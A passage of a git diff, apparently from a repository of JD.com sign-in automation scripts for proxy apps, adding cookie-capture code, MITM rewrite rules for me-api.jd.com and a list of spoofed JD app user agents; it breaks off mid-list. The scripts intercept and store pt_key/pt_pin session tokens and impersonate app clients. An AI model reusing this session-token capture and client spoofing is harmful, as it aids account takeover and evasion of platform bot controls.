崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total, + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000..228dfb7 --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS1_USER_AGENTS.js b/JS1_USER_AGENTS.js new file mode 100644 index 0000000..bfad3b8 --- /dev/null +++ b/JS1_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;2.1.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|2.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.1.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.1.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 